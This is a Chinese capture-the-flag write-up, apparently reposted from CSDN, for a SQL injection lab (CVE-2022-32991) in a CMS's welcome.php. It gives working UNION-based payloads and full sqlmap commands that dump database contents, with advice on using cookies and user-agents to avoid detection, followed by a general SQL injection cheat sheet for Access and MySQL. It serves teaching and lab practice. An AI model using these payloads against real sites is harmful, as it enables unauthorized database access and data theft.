0


春秋云境:CVE-2022-32991(SQL注入)

一.i春秋

靶标介绍:

该CMS的welcome.php中存在SQL注入攻击。

打开是一个登录注册页面:

点击登录:url看着也没有sql注入

随意输入邮箱和密码:

并用bp抓包

回显用户名或者密码错误:

考虑到要找welcome.php,应该是一个登录进去的页面,爆破登录太慢,有随机性。

就从注册页面入手吧:

进入注册页面:

用户密码随意输入就可:

登录我们刚刚注册的用户:

成功登录,进入welcome.php页面:

q=2

q=3

当q=4时:是没有页面的

经过简单的测试,发现home下的start可以跳转:

查看一下url:

发现submit每点击一次,url的n的值就会加1:

测试url的 n=2' 发现有sql注入:

二.手工注入

** 测试注入点:**

n=2' union select 1,2,3,4,5--+

http://eci-2zedx8v26d3xirugdhkx.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=60377db362694&n=2%27%20union%20select%201,2,3,4,5--+&t=34

查询当前数据库名称:

n=2' union select 1,2,database(),4,5--+

查询数据库位置:

n=2' union select 1,2,@@datadir,4,5--+

查询数据库表

2' union select 1,2,group_concat(table_name),4,5 from information_schema.tables where table_schema='ctf'--+

查看flag表中的字段:

2' union select 1,2,group_concat(column_name),4,5 from information_schema.columns where table_schema='ctf' and table_name='flag'--+

查询字段flag

** 2' union select 1,2,group_concat(flag),4,5 from flag--+**

flag值 :

flag{159e51b2-cdb2-4db2-a59f-5c5c1971216d}

以下是sqlmap工具跑出来的,容器是一个新的,所以flag不一样。

三.sqlmap注入

** 测试并burp抓包:**

这时我们可以用两种方法解题:

都是用到sqlmap的

** Sqlmap基本参数:**

--u                             #指定要测试的目标url
--p                             #指定sqlmap注入的传参参数
--cookie                        #绕过身份验证
--random-agent或--user-agent    #绕过客户端验证
--batch                         #默认后续sqlmap操作都为Y
--dbs                           #爆破所有数据库(databases缩写)

1.sqlmap注入---文件.txt

把抓包的内容写入txt中:

** 爆库:**

python sqlmap.py -l C:\Users\cheng\Desktop\1.txt --batch -dbs

爆出来数据库:

** 爆表**

python sqlmap.py -l C:\Users\cheng\Desktop\1.txt --batch -D "ctf" --tables

爆出来的表:

** 爆列:**

python sqlmap.py -l C:\Users\cheng\Desktop\1.txt --batch -D "ctf" -T "flag" --columns

爆字段:

python sqlmap.py -l C:\Users\cheng\Desktop\1.txt --batch -D "ctf" -T "flag" -C "flag" --dump

得出来flag:

flag{d08e9fb8-9a7e-4827-b478-a32665656c8e}


2.sqlmap--参数

** 该页面采用了登录访问,所以首先想到要使用–cookie参数使得sqlmap绕过身份验证,并添加–user-agent参数或–random-agent使得sqlmap绕过客户端验证,否则可能会被识别到明显的sqlmap客户端标识,从而导致攻击的中断。**

-u 的url

 -u "http://eci-2ze1e3vw3lo1qejbppsf.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=5b141f1e8399e&n=7&t=10"

**-p 的参数 **

 -p "eid" --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36"

**--cookie 设置cookie值 **

--cookie="ci_session=b46e9bd88b56429f4211f41daad049b50003af24; chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1681218038; PHPSESSID=th97u64vl5evkho1etki7jucnu; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1681219668"

自动确认y 和 爆库

--batch --dbs

** 完整的:**

虽然有点多,但也就是复制粘贴的事~

python sqlmap.py -u "http://eci-2ze1e3vw3lo1qejbppsf.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=5b141f1e8399e&n=7&t=10" -p "eid" --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36" --cookie="ci_session=b46e9bd88b56429f4211f41daad049b50003af24; chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1681218038; PHPSESSID=th97u64vl5evkho1etki7jucnu; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1681219668" --batch --dbs

** 爆表:**

python sqlmap.py -u "" -p "eid" --user-agent="" --cookie="" --batch -D "ctf" --tables

爆列:

python sqlmap.py -u "" -p "eid" --user-agent="" --cookie=""  --batch -D "ctf" -T "flag" --columns

爆字段:

python sqlmap.py -u "" -p "eid" --user-agent="" --cookie=""  --batch -D "ctf" -T "flag" -C "flag" --dump

附:sql注入命令

1.可能出现asp?id=x的网站

  只能是基于asp、PHP、jsp、aspx的动态网站,并且存在数据库交互,例:登陆、留言板、搜索、新闻。但是静态页面不可以,如html、htm。

2.漏洞测试

  (1)单引号测试:在页面中执行命令时使用成对单引号和单个单引号进行测试,查看是否有SQL注入;

  (2)利用条件语句测试:利用SQL连接选项‘and’连接URL,把1=1和1=2作为条件同样连接进去,如果条件不成立数据库就会发生变化,代表存在注入,同时也可以判断数据库的类型。

3.Acess数据库注入(手动)

  (1)使用‘and’语句来判断是否存在注入;

  (2)判断数据库类型;

    and (select count(*) from msysobjects)>0;返回权限不足是access表,反之则MSSQL。

  (3)查看数据库名;

    and db_name()>0

   (4)查看版本信息;

    and 0<>(select @@version)

  (5)查看数据库中是否存在admin这个管理表;

    and exists(select * from [admin])

    and (select count(*) from admin)>0

  (6)查看admin这个表中是否有username这个管理列;

    and exists(select top 1 [username] from [admin])

    and (select username from admin)>0

  (7)猜测admin这个管理列中用户名的长度;

    and (select top 1 len(username) from admin)>0

    后面的长度随意猜测,选择最大返回正常值加1作为长度。

   (8)取出username的ASCII码值;

    and (select top 1 asc(mid(username,N,1)) from admin)>0

    mid()函数用来截取,N为第几位,‘1’代表几位数;得到的结果可用工具小葵进行转换,得到的便是真实值。

4.MySQL数据库注入(手动)

  (1)判断注入点,后面加#,返回正常则为MySQL数据库;

  (2)判断字段数;

    orderb by 1--

    数字可以不断的加,当返回值改变时,则为全部字段数+1;得到字段数来判断能回显数据的位置

  (3)联合查询,判断可回显数据的位置;

    union select 1,2,3...(上一个得到的字段数)--

    要在URL中加入一个错误的判断值(and 1=2 或在数值前加‘-’号)页面才会显示能够显示数据的位置。

  (4)查看用户,版本,库名

    user(),version(),database()

  (5)查看管理表(常见的管理表命名方式:system、login、admin、users)

    union select 1,table_name(此处为可显示数据的位置),3,...(字段数) from Information_schema.tables where table_schema=(此处为库名的16进制数) limit 0,1--

  (6)查看列

    union select 1,column_name,3,..., from Information_schema.column where table_name=(表名16进制) limit 0,1--

5.sqlmap

  (1)需要在python环境下运行;

  (2)测试是否为注入点;

    sqlmap.py -u "URL"

  (3)获取数据列表;

    sqlmap.py -u "URL" --dbs

  (4)当前数据库;

    sqlmap.py -u "URL" --current-db

  (5)获取数据库所有表信息;

    sqlmap.py -u "URL" --tables -D "目标数据库"

  (6)获取列;

    sqlmap.py -u "URL" --column -T "管理表" -D “目标数据库”

  (7)获取字段;

    sqlmap.py -u "URL" --dump -C "字段" -T “管理表” -D “目标数据库”

标签: sql 数据库 web安全

本文转载自: https://blog.csdn.net/m0_65712192/article/details/130094542
版权归原作者 橙子学不会. 所有, 如有侵权,请联系我们删除。

“春秋云境:CVE-2022-32991(SQL注入)”的评论:

还没有评论